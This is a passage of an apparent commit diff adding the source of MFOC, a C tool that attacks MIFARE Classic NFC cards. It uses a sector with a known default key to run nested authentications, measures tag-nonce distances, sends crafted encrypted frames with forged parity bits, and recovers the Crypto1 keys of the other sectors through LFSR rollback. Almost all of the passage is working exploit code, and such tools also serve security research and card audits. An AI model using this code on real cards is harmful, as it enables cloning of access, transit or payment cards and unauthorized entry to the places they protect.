// fprintf(stream, " S : number of sets with keystreams, default is 5\n");
|
||||||
|
fprintf(stream, " P : number of probes for a key recovery for one sector, default is 20\n");
|
||||||
|
fprintf(stream, " T : range for a possible distance tolerance, default is 20 (40 in both direction)\n");
|
||||||
|
// fprintf(stream, " s : specify the list of sectors to crack, for example -s 0,1,3,5\n");
|
||||||
|
fprintf(stream, " O : dump file where the revealed keys should be stored\n");
|
||||||
|
fprintf(stream, "\n");
|
||||||
|
exit(errno);
|
||||||
|
}
|
||||||
|
|
||||||
|
void mf_init(mftag *t, mfreader *r) {
|
||||||
|
// Connect to the first NFC device
|
||||||
|
r->pdi = nfc_connect(NULL);
|
||||||
|
if (!r->pdi) {
|
||||||
|
fprintf(stderr, "!Error connecting to the NFC reader\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void mf_configure(nfc_device_t* pdi) {
|
||||||
|
nfc_initiator_init(pdi);
|
||||||
|
// Drop the field for a while, so can be reset
|
||||||
|
nfc_configure(pdi,NDO_ACTIVATE_FIELD,false);
|
||||||
|
// Let the reader only try once to find a tag
|
||||||
|
nfc_configure(pdi,NDO_INFINITE_SELECT,false);
|
||||||
|
// Configure the CRC and Parity settings
|
||||||
|
nfc_configure(pdi,NDO_HANDLE_CRC,true);
|
||||||
|
nfc_configure(pdi,NDO_HANDLE_PARITY,true);
|
||||||
|
// Enable the field so more power consuming cards can power themselves up
|
||||||
|
nfc_configure(pdi,NDO_ACTIVATE_FIELD,true);
|
||||||
|
}
|
||||||
|
|
||||||
|
void mf_select_tag(nfc_device_t* pdi, nfc_target_info_t* ti) {
|
||||||
|
// Poll for a ISO14443A (MIFARE) tag
|
||||||
|
if (!nfc_initiator_select_tag(pdi,NM_ISO14443A_106,NULL,0,ti)) {
|
||||||
|
fprintf(stderr, "!Error connecting to the MIFARE Classic tag\n");
|
||||||
|
nfc_disconnect(pdi);
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
int trailer_block(uint32_t block)
|
||||||
|
{
|
||||||
|
// Test if we are in the small or big sectors
|
||||||
|
return (block < 128) ? ((block + 1) % 4 == 0) : ((block + 1) % 16 == 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Return position of sector if it is encrypted with the default key otherwise exit..
|
||||||
|
int find_exploit_sector(mftag t) {
|
||||||
|
int i;
|
||||||
|
bool interesting = false;
|
||||||
|
|
||||||
|
for (i = 0; i < t.num_sectors; i++) {
|
||||||
|
if (!t.sectors[i].foundKeyA || !t.sectors[i].foundKeyB) {
|
||||||
|
interesting = true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (!interesting) {
|
||||||
|
fprintf(stdout, "\nWe have all sectors encrypted with the default keys..\n\n");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
for (i = 0; i < t.num_sectors; i++) {
|
||||||
|
if ((t.sectors[i].foundKeyA) || (t.sectors[i].foundKeyB)) {
|
||||||
|
fprintf(stdout, "\n\nUsing sector %02d as an exploit sector\n", i);
|
||||||
|
return i;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
fprintf(stderr, "\n\nNo sector encrypted with the default key has been found, exiting..\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
void mf_anticollision(mftag t, mfreader r) {
|
||||||
|
if (!nfc_initiator_select_tag(r.pdi, NM_ISO14443A_106, NULL, 0, &t.ti)) {
|
||||||
|
fprintf(stderr, "\n\n!Error: tag has been removed\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d, pKeys *pk, char mode, bool dumpKeysA) {
|
||||||
|
struct Crypto1State* pcs;
|
||||||
|
struct Crypto1State* revstate;
|
||||||
|
struct Crypto1State* revstate_start;
|
||||||
|
|
||||||
|
uint64_t lfsr;
|
||||||
|
|
||||||
|
// Possible key counter, just continue with a previous "session"
|
||||||
|
uint32_t kcount = pk->size;
|
||||||
|
|
||||||
|
byte_t Nr[4] = { 0x00,0x00,0x00,0x00 }; // Reader nonce
|
||||||
|
byte_t Auth[4] = { 0x00, t.sectors[e_sector].trailer, 0x00, 0x00 };
|
||||||
|
byte_t AuthEnc[4] = { 0x00, t.sectors[e_sector].trailer, 0x00, 0x00 };
|
||||||
|
byte_t AuthEncPar[8] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
|
||||||
|
|
||||||
|
byte_t ArEnc[8] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
|
||||||
|
byte_t ArEncPar[8] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
|
||||||
|
|
||||||
|
byte_t Rx[MAX_FRAME_LEN]; // Tag response
|
||||||
|
byte_t RxPar[MAX_FRAME_LEN]; // Tag response
|
||||||
|
size_t RxLen;
|
||||||
|
|
||||||
|
u_int32_t Nt, NtLast, NtProbe, NtEnc, Ks1;
|
||||||
|
|
||||||
|
int i, m;
|
||||||
|
|
||||||
|
// Prepare AUTH command
|
||||||
|
Auth[0] = (t.sectors[e_sector].foundKeyA) ? 0x60 : 0x61;
|
||||||
|
append_iso14443a_crc(Auth,2);
|
||||||
|
// fprintf(stdout, "\nAuth command:\t");
|
||||||
|
// print_hex(Auth, 4);
|
||||||
|
|
||||||
|
// We need full control over the CRC
|
||||||
|
nfc_configure(r.pdi,NDO_HANDLE_CRC,false);
|
||||||
|
|
||||||
|
// Request plain tag-nonce
|
||||||
|
// fprintf(stdout, "\t[Nt]:\t");
|
||||||
|
if (!nfc_initiator_transceive_bytes(r.pdi, Auth, 4, Rx, &RxLen)) {
|
||||||
|
fprintf(stdout, "Error requesting plain tag-nonce\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
// print_hex(Rx, 4);
|
||||||
|
|
||||||
|
// Save the tag nonce (Nt)
|
||||||
|
Nt = bytes_to_num(Rx, 4);
|
||||||
|
|
||||||
|
// Init the cipher with key {0..47} bits
|
||||||
|
if (t.sectors[e_sector].foundKeyA) {
|
||||||
|
pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyA, 6));
|
||||||
|
} else {
|
||||||
|
pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyB, 6));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Load (plain) uid^nt into the cipher {48..79} bits
|
||||||
|
crypto1_word(pcs, bytes_to_num(Rx, 4) ^ t.uid, 0);
|
||||||
|
|
||||||
|
// Generate (encrypted) nr+parity by loading it into the cipher
|
||||||
|
for (i = 0; i < 4; i++) {
|
||||||
|
// Load in, and encrypt the reader nonce (Nr)
|
||||||
|
ArEnc[i] = crypto1_byte(pcs, Nr[i], 0) ^ Nr[i];
|
||||||
|
ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nr[i]);
|
||||||
|
}
|
||||||
|
// Skip 32 bits in the pseudo random generator
|
||||||
|
Nt = prng_successor(Nt, 32);
|
||||||
|
// Generate reader-answer from tag-nonce
|
||||||
|
for (i = 4; i < 8; i++) {
|
||||||
|
// Get the next random byte
|
||||||
|
Nt = prng_successor(Nt, 8);
|
||||||
|
// Encrypt the reader-answer (Nt' = suc2(Nt))
|
||||||
|
ArEnc[i] = crypto1_byte(pcs, 0x00, 0) ^ (Nt&0xff);
|
||||||
|
ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nt);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Finally we want to send arbitrary parity bits
|
||||||
|
nfc_configure(r.pdi, NDO_HANDLE_PARITY, false);
|
||||||
|
|
||||||
|
// Transmit reader-answer
|
||||||
|
// fprintf(stdout, "\t{Ar}:\t");
|
||||||
|
// print_hex_par(ArEnc, 64, ArEncPar);
|
||||||
|
if ((!nfc_initiator_transceive_bits(r.pdi, ArEnc, 64, ArEncPar, Rx, &RxLen, RxPar)) || (RxLen != 32)) {
|
||||||
|
fprintf(stderr, "Reader-answer transfer error, exiting..\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Now print the answer from the tag
|
||||||
|
// fprintf(stdout, "\t{At}:\t");
|
||||||
|
// print_hex_par(Rx,RxLen,RxPar);
|
||||||
|
|
||||||
|
// Decrypt the tag answer and verify that suc3(Nt) is At
|
||||||
|
Nt = prng_successor(Nt, 32);
|
||||||
|
if (!((crypto1_word(pcs, 0x00, 0) ^ bytes_to_num(Rx, 4)) == (Nt&0xFFFFFFFF))) {
|
||||||
|
fprintf(stderr, "[At] is not Suc3(Nt), something is wrong, exiting..\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
// fprintf(stdout, "Authentication completed.\n\n");
|
||||||
|
|
||||||
|
// If we are in "Get Distances" mode
|
||||||
|
if (mode == 'd') {
|
||||||
|
for (m = 0; m < d->num_distances; m++) {
|
||||||
|
// fprintf(stdout, "Nested Auth number: %x: ,", m);
|
||||||
|
// Encrypt Auth command with the current keystream
|
||||||
|
for (i = 0; i < 4; i++) {
|
||||||
|
AuthEnc[i] = crypto1_byte(pcs,0x00,0) ^ Auth[i];
|
||||||
|
// Encrypt the parity bits with the 4 plaintext bytes
|
||||||
|
AuthEncPar[i] = filter(pcs->odd) ^ oddparity(Auth[i]);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Sending the encrypted Auth command
|
||||||
|
if (!nfc_initiator_transceive_bits(r.pdi, AuthEnc, 32, AuthEncPar,Rx, &RxLen, RxPar)) {
|
||||||
|
fprintf(stdout, "Error requesting encrypted tag-nonce\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Decrypt the encrypted auth
|
||||||
|
if (t.sectors[e_sector].foundKeyA) {
|
||||||
|
pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyA, 6));
|
||||||
|
} else {
|
||||||
|
pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyB, 6));
|
||||||
|
}
|
||||||
|
NtLast = bytes_to_num(Rx, 4) ^ crypto1_word(pcs, bytes_to_num(Rx, 4) ^ t.uid, 1);
|
||||||
|
|
||||||
|
// Save the determined nonces distance
|
||||||
|
d->distances[m] = nonce_distance(Nt, NtLast);
|
||||||
|
// fprintf(stdout, "distance: %05d\n", d->distances[m]);
|
||||||
|
|
||||||
|
// Again, prepare and send {At}
|
||||||
|
for (i = 0; i < 4; i++) {
|
||||||
|
ArEnc[i] = crypto1_byte(pcs, Nr[i], 0) ^ Nr[i];
|
||||||
|
ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nr[i]);
|
||||||
|
}
|
||||||
|
Nt = prng_successor(NtLast, 32);
|
||||||
|
for (i = 4; i < 8; i++) {
|
||||||
|
Nt = prng_successor(Nt, 8);
|
||||||
|
ArEnc[i] = crypto1_byte(pcs, 0x00, 0) ^ (Nt&0xFF);
|
||||||
|
ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nt);
|
||||||
|
}
|
||||||
|
nfc_configure(r.pdi,NDO_HANDLE_PARITY,false);
|
||||||
|
if ((!nfc_initiator_transceive_bits(r.pdi, ArEnc, 64, ArEncPar, Rx, &RxLen, RxPar)) || (RxLen != 32)) {
|
||||||
|
fprintf(stderr, "Reader-answer transfer error, exiting..\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
Nt = prng_successor(Nt, 32);
|
||||||
|
if (!((crypto1_word(pcs, 0x00, 0) ^ bytes_to_num(Rx, 4)) == (Nt&0xFFFFFFFF))) {
|
||||||
|
fprintf(stderr, "[At] is not Suc3(Nt), something is wrong, exiting..\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
} // Next auth probe
|
||||||
|
|
||||||
|
// Find median from all distances
|
||||||
|
d->median = median(*d);
|
||||||
|
//fprintf(stdout, "Median: %05d\n", d->median);
|
||||||
|
} // The end of Get Distances mode
|
||||||
|
|
||||||
|
// If we are in "Get Recovery" mode
|
||||||
|
if (mode == 'r') {
|
||||||
|
// Again, prepare the Auth command with MC_AUTH_A, recover the block and CRC
|
||||||
|
Auth[0] = dumpKeysA ? 0x60 : 0x61;
|
||||||
|
Auth[1] = a_sector;
|
||||||
|
append_iso14443a_crc(Auth,2);
|
||||||
|
|
||||||
|
// Encryption of the Auth command, sending the Auth command
|
||||||
|
for (i = 0; i < 4; i++) {
|
||||||
|
AuthEnc[i] = crypto1_byte(pcs,0x00,0) ^ Auth[i];
|
||||||
|
// Encrypt the parity bits with the 4 plaintext bytes
|
||||||
|
AuthEncPar[i] = filter(pcs->odd) ^ oddparity(Auth[i]);
|
||||||
|
}
|
||||||
|
if (!nfc_initiator_transceive_bits(r.pdi, AuthEnc, 32, AuthEncPar,Rx, &RxLen, RxPar)) {
|
||||||
|
fprintf(stdout, "Error requesting encrypted tag-nonce\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Save the encrypted nonce
|
||||||
|
NtEnc = bytes_to_num(Rx, 4);
|
||||||
|
|
||||||
|
// Parity validity check
|
||||||
|
for (i = 0; i < 3; ++i) {
|
||||||
|
d->parity[i] = (oddparity(Rx[i]) != RxPar[i]);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Iterate over Nt-x, Nt+x
|
||||||
|
// fprintf(stdout, "Iterate from %d to %d\n", d->median-TOLERANCE, d->median+TOLERANCE);
|
||||||
|
NtProbe = prng_successor(Nt, d->median-d->tolerance);
|
||||||
|
for (m = d->median-d->tolerance; m <= d->median+d->tolerance; m +=2) {
|
||||||
|
|
||||||
|
// Try to recover the keystream1
|
||||||
|
Ks1 = NtEnc ^ NtProbe;
|
||||||
|
|
||||||
|
// Skip this nonce after invalid 3b parity check
|
||||||
|
revstate_start = NULL;
|
||||||
|
if (valid_nonce(NtProbe, NtEnc, Ks1, d->parity)) {
|
||||||
|
// And finally recover the first 32 bits of the key
|
||||||
|
revstate = lfsr_recovery32(Ks1, NtProbe ^ t.uid);
|
||||||
|
if (revstate_start == NULL) {
|
||||||
|
revstate_start = revstate;
|
||||||
|
}
|
||||||
|
while ((revstate->odd != 0x0) || (revstate->even != 0x0)) {
|
||||||
|
lfsr_rollback_word(revstate, NtProbe ^ t.uid, 0);
|
||||||
|
crypto1_get_lfsr(revstate, &lfsr);
|
||||||
|
// Allocate a new space for keys
|
||||||
|
if (((kcount % MEM_CHUNK) == 0) || (kcount >= pk->size)) {
|
||||||
|
pk->size += MEM_CHUNK;
|
||||||
|
// fprintf(stdout, "New chunk by %d, sizeof %lu\n", kcount, pk->size * sizeof(uint64_t));
|
||||||
|
pk->possibleKeys = (uint64_t *) realloc((void *)pk->possibleKeys, pk->size * sizeof(uint64_t));
|
||||||
|
if (pk->possibleKeys == NULL) {
|
||||||
|
fprintf(stderr, "Memory allocation error for pk->possibleKeys\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
pk->possibleKeys[kcount] = lfsr;
|
||||||
|
kcount++;
|
||||||
|
revstate++;
|
||||||
|
}
|
||||||
|
free(revstate_start);
|
||||||
|
}
|
||||||
|
NtProbe = prng_successor(NtProbe, 2);
|
||||||
|
}
|
||||||
|
// Truncate
|
||||||
|
if (kcount != 0) {
|
||||||
|
pk->size = --kcount;
|
||||||
|
if ((pk->possibleKeys = (uint64_t *) realloc((void *)pk->possibleKeys, pk->size * sizeof(uint64_t))) == NULL) {
|
||||||
|
fprintf(stderr, "Memory allocation error for pk->possibleKeys\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
crypto1_destroy(pcs);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Return the median value from the nonce distances array
|
||||||
|
uint32_t median(denonce d) {
|
||||||
|
int middle = (int) d.num_distances / 2;
|
||||||
|
qsort(d.distances, d.num_distances, sizeof(u_int32_t), compar_int);
|
||||||
|
|
||||||
|
if (d.num_distances % 2 == 1) {
|
||||||
|
// Odd number of elements
|
||||||
|
return d.distances[middle];
|
||||||
|
} else {
|
||||||
|
// Even number of elements, return the smaller value
|
||||||
|
return (uint32_t) (d.distances[middle-1]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
int compar_int(const void * a, const void * b) {
|
||||||
|
return (*(uint64_t*)b - *(uint64_t*)a);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Compare countKeys structure
|
||||||
|
int compar_special_int(const void * a, const void * b) {
|
||||||
|
return (((countKeys *)b)->count - ((countKeys *)a)->count);
|
||||||
|
}
|
||||||
|
|
||||||
|
countKeys * uniqsort(uint64_t * possibleKeys, uint32_t size) {
|
||||||
|
int i, j = 0;
|
||||||
|
int count = 0;
|
||||||
|
countKeys *our_counts;
|
||||||
|
|
||||||
|
qsort(possibleKeys, size, sizeof (uint64_t), compar_int);
|
||||||
|
|
||||||
|
our_counts = calloc(size, sizeof(countKeys));
|
||||||
|
if (our_counts == NULL) {
|
||||||
|
fprintf(stderr, "Memory allocation error for our_counts\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
for (i = 0; i < size; i++) {
|
||||||
|
if (possibleKeys[i+1] == possibleKeys[i]) {
|
||||||
|
count++;
|
||||||
|
} else {
|
||||||
|
our_counts[j].key = possibleKeys[i];
|
||||||
|
our_counts[j].count = count;
|
||||||
|
j++;
|
||||||
|
count=0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
qsort(our_counts, j, sizeof(countKeys), compar_special_int);
|
||||||
|
return (our_counts);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// Return 1 if the nonce is invalid else return 0
|
||||||
|
int valid_nonce(uint32_t Nt, uint32_t NtEnc, uint32_t Ks1, byte_t * parity) {
|
||||||
|
return ((odd_parity((Nt >> 24) & 0xFF) == ((parity[0]) ^ odd_parity((NtEnc >> 24) & 0xFF) ^ BIT(Ks1,16))) & \
|
||||||
|
(odd_parity((Nt >> 16) & 0xFF) == ((parity[1]) ^ odd_parity((NtEnc >> 16) & 0xFF) ^ BIT(Ks1,8))) & \
|
||||||
|
(odd_parity((Nt >> 8) & 0xFF) == ((parity[2]) ^ odd_parity((NtEnc >> 8) & 0xFF) ^ BIT(Ks1,0)))) ? 1 : 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
void num_to_bytes(uint64_t n, uint32_t len, byte_t* dest) {
|
||||||
|
while (len--) {
|
||||||
|
dest[len] = (byte_t) n;
|
||||||
|
n >>= 8;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
long long unsigned int bytes_to_num(byte_t* src, uint32_t len) {
|
||||||
|
uint64_t num = 0;
|
||||||
|
while (len--)
|
||||||
|
{
|
||||||
|
num = (num << 8) | (*src);
|
||||||
|
src++;
|
||||||
|
}
|
||||||
|
return num;
|
||||||
|
}
|
86
src/mfoc.h
Normal file
86
src/mfoc.h
Normal file
|
@ -0,0 +1,86 @@
|
||||||
|
#define MEM_CHUNK 10000
|
||||||
|
#define TRY_KEYS 50
|
||||||
|
|
||||||
|
// Number of trailers == number of sectors
|
||||||
|
// 16x64b = 16
|
||||||
|
#define NR_TRAILERS_1k (16)
|
||||||
|
// 32x64b + 8*256b = 40
|
||||||
|
#define NR_TRAILERS_4k (40)
|
||||||
|
|
||||||
|
#define MAX_FRAME_LEN 264
|
||||||
|
|
||||||
|
// Used for counting nonce distances, explore [nd-value, nd+value]
|
||||||
|
#define DEFAULT_TOLERANCE 20
|
||||||
|
|
||||||
|
// Default number of distance probes
|
||||||
|
#define DEFAULT_DIST_NR 15
|
||||||
|
|
||||||
|
// Default number of probes for a key recovery for one sector
|
||||||
|
#define DEFAULT_PROBES_NR 150
|
||||||
|
|
||||||
|
// Number of sets with 32b keys
|
||||||
|
#define DEFAULT_SETS_NR 5
|
||||||
|
|
||||||
|
#define odd_parity(i) (( (i) ^ (i)>>1 ^ (i)>>2 ^ (i)>>3 ^ (i)>>4 ^ (i)>>5 ^ (i)>>6 ^ (i)>>7 ^ 1) & 0x01)
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
byte_t KeyA[6];
|
||||||
|
byte_t KeyB[6];
|
||||||
|
bool foundKeyA;
|
||||||
|
bool foundKeyB;
|
||||||
|
byte_t trailer; // Value of a trailer block
|
||||||
|
} sector;
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
u_int32_t *distances;
|
||||||
|
u_int32_t median;
|
||||||
|
u_int32_t num_distances;
|
||||||
|
u_int32_t tolerance;
|
||||||
|
byte_t parity[3]; // used for 3 bits of parity information
|
||||||
|
} denonce; // Revealed information about nonce
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
nfc_target_info_t ti;
|
||||||
|
sector * sectors; // Allocate later, we do not know the number of sectors yet
|
||||||
|
sector e_sector; // Exploit sector
|
||||||
|
uint32_t num_sectors;
|
||||||
|
uint32_t num_blocks;
|
||||||
|
uint32_t uid;
|
||||||
|
bool b4K;
|
||||||
|
} mftag;
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
uint64_t *possibleKeys;
|
||||||
|
uint32_t size;
|
||||||
|
} pKeys;
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
uint64_t *brokenKeys;
|
||||||
|
uint32_t size;
|
||||||
|
} bKeys;
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
nfc_device_t *pdi;
|
||||||
|
} mfreader;
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
uint64_t key;
|
||||||
|
int count;
|
||||||
|
} countKeys;
|
||||||
|
|
||||||
|
|
||||||
|
void usage(FILE * stream, int errno);
|
||||||
|
void mf_init(mftag *t, mfreader *r);
|
||||||
|
void mf_configure(nfc_device_t* pdi);
|
||||||
|
void mf_select_tag(nfc_device_t* pdi, nfc_target_info_t* ti);
|
||||||
|
int trailer_block(uint32_t block);
|
||||||
|
int find_exploit_sector(mftag t);
|
||||||
|
void mf_anticollision(mftag t, mfreader r);
|
||||||
|
int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d, pKeys *pk, char mode, bool dumpKeysA);
|
||||||
|
uint32_t median(denonce d);
|
||||||
|
int compar_int(const void * a, const void * b);
|
||||||
|
int valid_nonce(uint32_t Nt, uint32_t NtEnc, uint32_t Ks1, byte_t * parity);
|
||||||
|
int compar_special_int(const void * a, const void * b);
|
||||||
|
countKeys * uniqsort(uint64_t *possibleKeys, uint32_t size);
|
||||||
|
void num_to_bytes(uint64_t n, uint32_t len, byte_t* dest);
|
||||||
|
long long unsigned int bytes_to_num(byte_t* src, uint32_t len);
|
Loading…
Reference in a new issue